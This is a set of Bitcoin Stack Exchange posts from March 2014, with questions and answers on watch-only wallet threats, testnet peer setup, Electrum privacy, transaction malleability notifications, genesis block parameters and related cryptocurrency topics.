  <row Id="23489" PostTypeId="1" AcceptedAnswerId="23492" CreationDate="2014-03-14T01:32:41.880" Score="3" ViewCount="442" Body="&lt;p&gt;If I understand correctly, one of the main perks of using a deterministic watch-only wallet is the ability to generate new receiving addresses without syncing with the offline wallet, but this seems vulnerable to attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To prevent an attacker from stealing her funds, Alice keeps her private keys in an Armory offline wallet. She uses an [online] watching-only wallet to generate receiving addresses, which seems to be recommended by Armory's page &lt;a href=&quot;https://bitcoinarmory.com/about/using-our-wallet&quot; rel=&quot;nofollow&quot;&gt;Using Our Wallet&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now that the wallets are setup, you can use the watching-only wallet exactly the same way as a regular wallet, except Bitcoins cannot be sent from it.   &lt;strong&gt;Use the “Receive Bitcoins” button to generate addresses for receiving payments&lt;/strong&gt;, and incoming transactions will show up in the ledger with a slightly different color than your other wallets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A similar suggestion on the &lt;a href=&quot;https://electrum.org/tutorials.html&quot; rel=&quot;nofollow&quot;&gt;Electrum tutorials page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You now have an online wallet where you can check your balances &lt;strong&gt;and give out new addresses&lt;/strong&gt;, but you can't however spend the coins. So if an attacker would be able take over your online computer your coins can't be lost.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Eve creates a modified version of Armory in which all new receiving addresses (created when the user presses &quot;Receive Bitcoins&quot;) are owned by Eve instead of Alice.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Eve gains access to Alice's online computer and plants the modified version of Armory. Now any payments received by Alice's new addresses are actually under Eve's control, without her knowledge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Obviously you could generate the receiving address a second time on the offline wallet and verify that they match, but doesn't that defeat the purpose? Also, shouldn't there be a warning about this?&lt;/p&gt;&#xA;" OwnerUserId="14307" LastEditorUserId="14307" LastEditDate="2014-03-14T02:55:23.093" LastActivityDate="2014-03-14T02:55:23.093" Title="Couldn't an attacker cause online (watch-only) wallets to display malicious receiving addresses?" Tags="|security|electrum|armory|bip32-hd-wallets|deterministic-wallets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23491" PostTypeId="1" CreationDate="2014-03-14T02:30:19.770" Score="6" ViewCount="468" Body="&lt;p&gt;What are mastercoins used for in the Mastercoin system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin, bitcoins are the only store of value and are spent as fees that the miners earn. In Ripple, ripples are used as a meta-currency accepted by everyone and are spent as fees that decrease the supply of ripples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Mastercoin use any of those models? Are mastercoins the primary store of value in the Mastercoin system, or can one use bitcoins? Are they used for paying fees? If so, is anyone earning the fees and how?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2017-07-23T03:23:11.427" LastActivityDate="2017-07-23T03:23:11.427" Title="What are mastercoins used for in Mastercoin?" Tags="|transaction-fees|omni|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23492" PostTypeId="2" ParentId="23489" CreationDate="2014-03-14T02:53:22.310" Score="4" Body="&lt;p&gt;Yes, this is possible. However, since Bob (actually, in cryptography, usually Eve, the attacker) has, apparently, got access to Alice's computer, he/she could also replace the Bitcoin application with one that does the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this procedure is to protect Alice's existing bitcoin. It does not do other things.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-03-14T02:53:22.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23493" PostTypeId="2" ParentId="23487" CreationDate="2014-03-14T02:55:05.987" Score="1" Body="&lt;p&gt;Since most crypto-currencies are a fork of Bitcoin, you can get nitty gritty technical details from the Bitcoin wiki, specifically from &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aTechnical&quot; rel=&quot;nofollow&quot;&gt;the technical category&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you want to know the specifications for communication, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;Protocol Specification&lt;/a&gt; article will help you out with how packets should be formatted down to the bit. It will have all sorts of details on things like &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;how to calculate difficulty&lt;/a&gt; or &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;what a block chain is&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peercoin share a lot of concepts with Bitcoin and thus &lt;em&gt;most&lt;/em&gt; Bitcoin wiki articles will apply. Peercoin concepts such as its Proof-of-Stake may not be found in the Bitcoin wiki so refer to the whitepaper for differences.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-14T02:55:05.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23494" PostTypeId="2" ParentId="23488" CreationDate="2014-03-14T02:55:40.020" Score="1" Body="&lt;p&gt;The network does not know if two addresses are in the same wallet or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the transaction fees are verified/received by the network, an inter-wallet transaction MUST be the same as an intra-wallet transaction, in every way.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-03-14T02:55:40.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23495" PostTypeId="2" ParentId="23441" CreationDate="2014-03-14T02:56:08.293" Score="1" Body="&lt;p&gt;No, you can't. When a transaction refers to an unspent output, it refers to it by transaction ID and output number, not by address. So knowing that a particular address has a particular balance is not what you need to validate transactions. If you can't validate transactions, you can't validate blocks. If you can't validate blocks, you can't really do much of anything except trust some other server to do the real work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple implements accounts with balances instead of unspent outputs precisely to avoid this.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-14T02:56:08.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23496" PostTypeId="2" ParentId="23360" CreationDate="2014-03-14T02:56:24.247" Score="0" Body="&lt;p&gt;Bitcoin addresses are stored wherever you like. In your wallet, with an exchange, on your paper napkin. The same with the private keys that give access to the value linked to those addresses. Those too can be stored wherever you like (but you'll want to store those securely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have ownership of the funds tied to your address by sole virtue of the fact that it is nearly impossible for anyone else to generate the private key for that address. There is no central place which says your address is legally yours. It isn't yours in &lt;em&gt;that&lt;/em&gt; sense. Someone else could take control of it easily if they knew your private key. Then it is just as much theirs as yours. Until that time when your key is compromised the address is simply &lt;em&gt;defacto&lt;/em&gt; yours because no-one else is ever going to be able to access the funds tied to it, except you.&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2014-03-14T02:56:24.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23497" PostTypeId="2" ParentId="23488" CreationDate="2014-03-14T03:12:57.637" Score="2" Body="&lt;p&gt;A traditional Bitcoin wallet contains a bunch of private keys and a bunch of accounts. Each private key has a corresponding Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each private key that the wallet has issued, some account is associated with that key. This serves only one purpose -- it determine which account gets its balance raised when funds are received at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intra-wallet transfers require no transaction and thus pay no fee. I can switch from 10 Bitcoins in account &quot;Jeff&quot; and 0 in account &quot;Judy&quot; to 0 in &quot;Jeff&quot; and 10 in &quot;Judy&quot; just by swapping a 0 and a 10 inside the wallet. The Bitcoins remain at the same address, they are just credited to a different account.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-14T03:12:57.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23499" PostTypeId="2" ParentId="23462" CreationDate="2014-03-14T03:26:08.357" Score="0" Body="&lt;p&gt;I tried running bitcoind in testnet mode again and this time it's downloading the blocks.  I'm not sure why.  Maybe it had something to do with me putting back an IP address into /etc/resolv.conf, which I had previously commented out.&lt;/p&gt;&#xA;" OwnerUserId="12048" LastActivityDate="2014-03-14T03:26:08.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23500" PostTypeId="1" AcceptedAnswerId="28329" CreationDate="2014-03-14T03:30:51.373" Score="3" ViewCount="231" Body="&lt;p&gt;Apparently, &lt;a href=&quot;http://cryptolife.net/in-depth-analysis-nxt/&quot; rel=&quot;nofollow&quot;&gt;NTX uses very short addresses and a very small alphabet&lt;/a&gt;. There is a system designed to claim ownership of a given address, but I couldn't find much information on it. How is it handled in the NXT system?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-07-07T13:01:27.977" Title="How does one claim ownership of an NXT address?" Tags="|address|nxt|ownership|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23501" PostTypeId="2" ParentId="23488" CreationDate="2014-03-14T04:01:03.633" Score="0" Body="&lt;p&gt;There are no fees say if you didn't want to actually move bitcoins in between address. As David Schwartz pointed out, you can have accounts which are basically bitcoin wallet organizers in which you can add or remove bitcoins from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If say you need to send coins that are 'stored' in address A from address B which is in your wallet, you'd need to create a transaction to move coins from A to B, and then another transaction that moves coins from B to destination address. The Bitcoin-QT wallet doesn't &lt;em&gt;yet&lt;/em&gt; let you do this through the GUI, maybe with a future coin control update.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-14T04:01:03.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23502" PostTypeId="1" CreationDate="2014-03-14T04:53:56.627" Score="1" ViewCount="809" Body="&lt;p&gt;I am trying to get inbound connections on my p2pool instance. I currently have 6 outbound connections and the pool is working fine, but I would like to have more connections (might help get a few less shares, and if nothing else help the network a little bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking around how to do this, it seems like you need to set up a port forward to port 9332 (or 9338 for litecoin). I have never done this before, and have a few miners which are doing OK on my existing pool so before I go ahead and ruin my p2pool node I thought I'd reach out and see if anyone had any experience they would like to share :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Ubuntu 12.04 (64-bit), thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="5406" LastEditDate="2014-03-16T16:09:18.613" LastActivityDate="2015-01-19T08:40:44.640" Title="p2pool inbound connections" Tags="|network|p2pool|nodes|peers|connection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23503" PostTypeId="1" CreationDate="2014-03-14T05:53:51.350" Score="0" ViewCount="34" Body="&lt;p&gt;Andreas has been talking a lot lately about proof of solvency as it pertains to any company that takes custodial custody of bitcoin funds. As someone who's planning to launch a project that does just that, I'm all aboard with this idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, I can't seem to figure out how to do it without exposing customer data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone implemented an example of how this works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everybody!&lt;/p&gt;&#xA;" OwnerUserId="11003" LastEditorUserId="1766" LastEditDate="2015-03-02T00:17:27.120" LastActivityDate="2015-03-02T00:17:27.120" Title="Proof of solvancy" Tags="|bitcoind|security|proof-of-solvency|" AnswerCount="0" CommentCount="3" ClosedDate="2014-03-14T09:02:02.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="23504" PostTypeId="2" ParentId="23462" CreationDate="2014-03-14T06:02:15.400" Score="3" Body="&lt;p&gt;The reason why you are not finding nodes is that there may not be many available through the traditional bootstrapping methods (many clients are installed with UPnP off, or behind firewalls and cannot accept incoming connections, and existing nodes with inbound connections can sometimes be spread thin). If you're patient enough you will eventually get a connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to be patient, there is a workaround to this. You need to find the hostname (IP address or URL) of a bitcoind connected to nodes on testnet. Once you have found one, shutdown bitcoind, and edit your bitcoin configuration file (nano .bitcoin/bitcoin.conf) with the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; addnode=&amp;lt;hostname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you start bitcoind it will look in the conf file and attempt to each node you define this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also simply shutdown bitcoind and start with the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -dameon -addnode=&amp;lt;hostname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Peers successfully connected to are saved in file peers.dat so both methods work equally well, if the node you are trying to connect to is online. More info on peers.dat and how to view it can be found here (in case you would like to help a friend find a connection to testnet): &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19586/how-do-i-read-peers-dat-file-to-get-a-list-of-all-peers-seen-or-that-bitcoind-ha&quot;&gt;How do I read peers.dat file to get a list of all peers seen or that bitcoind has connected to?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-03-16T19:35:21.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23505" PostTypeId="1" CreationDate="2014-03-14T07:46:33.013" Score="1" ViewCount="4878" Body="&lt;p&gt;I've downloaded &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;Abe&lt;/a&gt; and ran python &quot;&lt;em&gt;setup.py install&lt;/em&gt;&quot;. There were no errors. But what's next? I didn't find any guidelines on how to run Abe in &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13993" LastActivityDate="2018-04-07T19:32:24.207" Title="How to install Abe?" Tags="|block|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23506" PostTypeId="1" CreationDate="2014-03-14T09:52:19.450" Score="1" ViewCount="701" Body="&lt;p&gt;On 'Cointron' their is wallet table after logged in into the site, how they calculate estimated coins per day, estimated rewards, confirmed rewards and unconfirmed rewards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Coinotron derive this value?&lt;/p&gt;&#xA;" OwnerUserId="14401" LastEditorUserId="5406" LastEditDate="2016-04-25T19:54:38.323" LastActivityDate="2016-04-25T19:54:38.323" Title="How does estimated coins calculated on Coinotron?" Tags="|mining-pools|mining-profitability|alternatives|dogecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23508" PostTypeId="1" AcceptedAnswerId="23565" CreationDate="2014-03-14T10:11:41.437" Score="0" ViewCount="1085" Body="&lt;p&gt;In the Bitcoin mining profitability calculator at &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;bitcoinx.com/profit&lt;/a&gt;, there is a field with the description &quot;Profitability decline per year&quot;. What does this field mean in regard to the calculation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a guess, I'd say, if it's set to 0.01 the projected income for a year from now will be 1% of today's projected income.&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="5406" LastEditDate="2014-03-15T13:48:46.200" LastActivityDate="2017-02-11T16:18:28.233" Title="What is the meaning of the field for &quot;Profitability decline per year&quot; in bitcoinx' profitability calculator?" Tags="|mining-profitability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23509" PostTypeId="1" CreationDate="2014-03-14T10:29:54.997" Score="2" ViewCount="233" Body="&lt;p&gt;I need a full Bitcoin node running on a server. It's a Windows server - is there any advantage to running bitcoind over bitcoin-qt? I need the JSON API, to they need the server flag, I just figured that if something goes amiss it would be easier to take a quick look at the wallet if the GUI us running as opposed to the console.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-03-14T10:29:54.997" Title="Running bitcoin-qt on a server" Tags="|server|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23512" PostTypeId="1" CreationDate="2014-03-14T11:28:29.507" Score="5" ViewCount="3372" Body="&lt;p&gt;As far as i know that key pool gets refilled automatically with each address taken out of it. Why should i use keypoolrefill then ? What's the benefit of this command ?&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2014-12-28T03:47:02.147" Title="should i call keypoolrefill or it's refilled automatically?" Tags="|bitcoind|keypool|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23516" PostTypeId="1" CreationDate="2014-03-14T11:54:34.057" Score="1" ViewCount="143" Body="&lt;p&gt;I am solo mining XenCoin using XenCoin QT v0.6.3.3-g069d718-beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of transactions shown on the overview tab is 9, yet there are 7 transactions listed in the transaction history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, recently I my cgminer 3.7.2 reported that it had found a block. The number of transactions increased on the XenCoinQT overview tab, but the mining reward didn't get credited to my account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what's happening? Is someone stealing my coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, is it possible to track all the blocks that are mined by me (solo mining)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tXFI7.png&quot; alt=&quot;Overview Tab:&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJOOE.png&quot; alt=&quot;Transactions Tab:&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5805" LastEditorUserId="5406" LastEditDate="2016-04-24T12:22:57.373" LastActivityDate="2016-04-24T12:22:57.373" Title="Number of transactions and transaction history don't match in XenCoinQt" Tags="|bitcoin-core|altcoin|mining-reward|solo-mining|" AnswerCount="0" CommentCount="3" ClosedDate="2020-04-15T18:12:00.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="23528" PostTypeId="1" AcceptedAnswerId="23534" CreationDate="2014-03-14T13:32:21.913" Score="5" ViewCount="259" Body="&lt;p&gt;To monitor inbound payments for a web wallet, I plan to use walletnotify to record the transaction IDs, then on each blocknotify I will check the number of confirmations for each pending transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously everyone is thinking about transaction malleability right now, so my question is this: in the event that the transaction ID is changed, or a block containing the transaction is orphaned etc - will I get another walletnotify with the changed TxId?&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-03-14T16:10:11.313" Title="walletnotify and transaction malleability" Tags="|transaction-malleability|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23532" PostTypeId="2" ParentId="21303" CreationDate="2014-03-14T14:13:39.610" Score="1" Body="&lt;p&gt;If you want to generate our own unique genesis block you should generate and replace at least the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nTime (the unix time. Your wallet will display the &quot;No block source&#xA;available 5 week(s) behind&quot; mentioned if this is 5 weeks old from&#xA;now)&lt;/li&gt;&#xA;&lt;li&gt;pszTimeStamp (the &quot;timestamp&quot; to &quot;justify&quot; no premining has taken&#xA;place)&lt;/li&gt;&#xA;&lt;li&gt;hashMerkleRoot (the merkle root based on the coinbase transaction of&#xA;the block)&lt;/li&gt;&#xA;&lt;li&gt;hashGenesisBlock (the genesis hash itself!)&lt;/li&gt;&#xA;&lt;li&gt;nNonce (the correct nounce which is incremented when searching for&#xA;the hash that satisfies the target (=difficulty))&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The pubkey in the output transaction script can also be changed to a unique value. However, as the genesis block can't be spent anyway the same pubkey can be used as in e.g. Litecoin. Also the nBits should not be changed if you are planning to create a Litecoin clone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this script to create the values for a scrypt genesisblock:&#xA;&lt;a href=&quot;https://github.com/lhartikk/GenesisH0&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lhartikk/GenesisH0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14472" LastActivityDate="2014-03-14T14:13:39.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23534" PostTypeId="2" ParentId="23528" CreationDate="2014-03-14T16:10:11.313" Score="3" Body="&lt;p&gt;Yes. You receieve a walletnotify for every transaction your wallet sees that is relevant to it. Once when it is first seen, and once when it is seen in a block (first confirmation). These two may coincide, in which case you only get the confirmation one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For mutated transactions, you will see a first one that never confirms (and in 0.9 will get a &quot;-1&quot; confirmations marker), and a second transaction that does confirm.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-14T16:10:11.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23535" PostTypeId="1" CreationDate="2014-03-14T16:40:09.283" Score="2" ViewCount="4055" Body="&lt;p&gt;Who exactly is my IP exposed to when sending transactions in Electrum.  I'm assuming the server operators can see it every time I connect (to query the servers about my balances).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I make a transaction, is my IP recorded and logged into blockchain.info (or is it the IP of the server who relays the transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, does this make Electrum unsafe to use with larger balances? i.e tying large amounts to a single IP?&lt;/p&gt;&#xA;" OwnerUserId="14491" LastActivityDate="2014-03-14T17:44:38.157" Title="Who can see my IP address while using Electrum" Tags="|wallet|security|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23537" PostTypeId="2" ParentId="23404" CreationDate="2014-03-14T17:14:29.283" Score="0" Body="&lt;p&gt;I also found this node package that works very well for dealing with one Blockchain wallet at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.npmjs.org/package/blockchain-wallet&quot; rel=&quot;nofollow&quot;&gt;https://www.npmjs.org/package/blockchain-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;npm install blockchain-wallet&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var BlockchainWallet = require('blockchain-wallet'),&#xA;blockchainWallet = new BlockchainWallet(&quot;YourGuid&quot;, &quot;YourPassword&quot;),&#xA;// Certain API methods require a second password if the wallet is second password protected, while others don't at all.&#xA;transactionBlockchainWallet = new BlockchainWallet(&quot;YourGuid&quot;, &quot;YourPassword&quot;, &quot;YourSecondPassword&quot;);&#xA;&#xA;blockchainWallet.list(function(err, data) {&#xA;  if(err) {&#xA;   throw err;&#xA;  }&#xA;  console.log(data);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14351" LastActivityDate="2014-03-14T17:14:29.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23538" PostTypeId="2" ParentId="23535" CreationDate="2014-03-14T17:23:36.060" Score="3" Body="&lt;p&gt;Your IP is exposed to the Electrum server(s) you communicate with. Since &lt;a href=&quot;https://en.bitcoin.it/wiki/Electrum&quot; rel=&quot;nofollow&quot;&gt;anyone can run&lt;/a&gt; an Electrum server, you should consider this to be public exposure. These servers could record your IP if they wish to, and use it for any purpose. This is more exposed than running an ordinary full client: in that case, your IP is exposed to your peers, but even your immediate peers don't know it was &lt;em&gt;you&lt;/em&gt; who created a given transaction. In either case, someone could &lt;a href=&quot;https://blockchain.info/tx/98250fd33a9abe46b90c3899266817e962e363a106e4c519b6b1102470fc968d&quot; rel=&quot;nofollow&quot;&gt;record the IP&lt;/a&gt; they first saw the transaction from, which would often be geographically near you (maybe even your IP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not make it unsafe in the &quot;people can digitally steal my coins&quot; sense, but it does reduce &lt;a href=&quot;https://en.bitcoin.it/wiki/Anonymity&quot; rel=&quot;nofollow&quot;&gt;anonymity&lt;/a&gt;. This might make it unsafe in the senses of: &quot;people can more easily find me &lt;a href=&quot;http://xkcd.com/538/&quot; rel=&quot;nofollow&quot;&gt;and beat me&lt;/a&gt; until I tell them my password so they can steal my coins&quot; or &quot;people can arrest me for my actions&quot; (if you're doing something illegal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're concerned about that, you could run through &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; to hide your IP.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-03-14T17:44:38.157" LastActivityDate="2014-03-14T17:44:38.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23540" PostTypeId="1" CreationDate="2014-03-14T18:12:06.177" Score="1" ViewCount="407" Body="&lt;p&gt;I seem to find conflicting information regarding the possibility of a TOR exit node stealing my data even while using HTTPS.  How possible/likely is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume user implements strong security on his personal system/network (no keyloggers, malware, etc.) and the blockchain.info is honest.  For this example, &lt;strong&gt;I am concerned about the attack vector of the TOR exit node even while using HTTPS.&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="14494" LastActivityDate="2014-11-11T18:52:02.337" Title="TorBrowser + HTTPSEverywhere Blockchain.info wallet safe?" Tags="|security|blockchain.info|tor|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23541" PostTypeId="1" CreationDate="2014-03-14T18:25:56.863" Score="0" ViewCount="89" Body="&lt;p&gt;Do i need to be logged in on the website mining pool to mine coins? Can i log off the pool mining website and just leave cudaminer running and still mine coins in the mining pool?&lt;/p&gt;&#xA;" OwnerUserId="14495" LastEditorUserId="5406" LastEditDate="2016-04-25T20:33:17.447" LastActivityDate="2016-04-25T20:33:17.447" Title="Pool mining website need to be logged in?" Tags="|miner-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23542" PostTypeId="2" ParentId="23541" CreationDate="2014-03-14T19:00:12.860" Score="2" Body="&lt;p&gt;You don't need to be logged in all the time. You just need to leave your miner (cudaminer) running.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-03-14T19:00:12.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23543" PostTypeId="2" ParentId="22954" CreationDate="2014-03-14T20:00:34.717" Score="0" Body="&lt;p&gt;In the absence of a mining pool that publishes a list of transactions pending inclusion, a good estimate of that list can be obtained using freely available mining software. If you run the bitcoind or Bitcoin-Qt client it will compose a list of valid transactions with sufficient fee and then try to find a valid hash. Finding a valid hash is no longer realistic due to the high difficulty, but finding a list of valid transactions can be done on any average computer with an internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to produce the same list of transactions that the mining pool produces, you will need to use the same settings, so that you exclude low fee transactions at the same cut off point as the pool. For a mining pool that uses the default fee requirements this requires no action. I don't see any reason that a mining pool would not be open about its fee requirements, but even if they are not published you can simply look up which blocks that pool has produced recently and estimate from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifying the bitcoin client to output the pending transaction list without trying to find a hash for it should be straightforward as it involves no additional work - simply cancelling part of the work. If you don't wish to make the changes yourself you could post a bounty in a bitcoin forum asking for such software. The small amount of work required should bring a response with very little bounty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This provides a method of obtaining a good estimate of which transactions will make it into the next block (forming separate estimates for different pools if necessary), but I do not believe it will protect you from a deliberate attacker, which is why I posted my &lt;a href=&quot;https://bitcoin.stackexchange.com/a/23471/14410&quot;&gt;warning answer&lt;/a&gt;. I'm not currently aware of a way of protecting against an attacker other than waiting for confirmations.&lt;/p&gt;&#xA;" OwnerUserId="14410" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-03-14T20:00:34.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23545" PostTypeId="1" CreationDate="2014-03-14T22:22:24.197" Score="1" ViewCount="564" Body="&lt;p&gt;Using regular expression match instead of prefix, is there a way to add a difficulty and probability check? Seems to only report keys/s and total keys tested. &lt;/p&gt;&#xA;" OwnerUserId="14498" LastActivityDate="2014-03-15T01:17:52.190" Title="Vanitygen regular expression match" Tags="|bitcoind|vanitygen|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
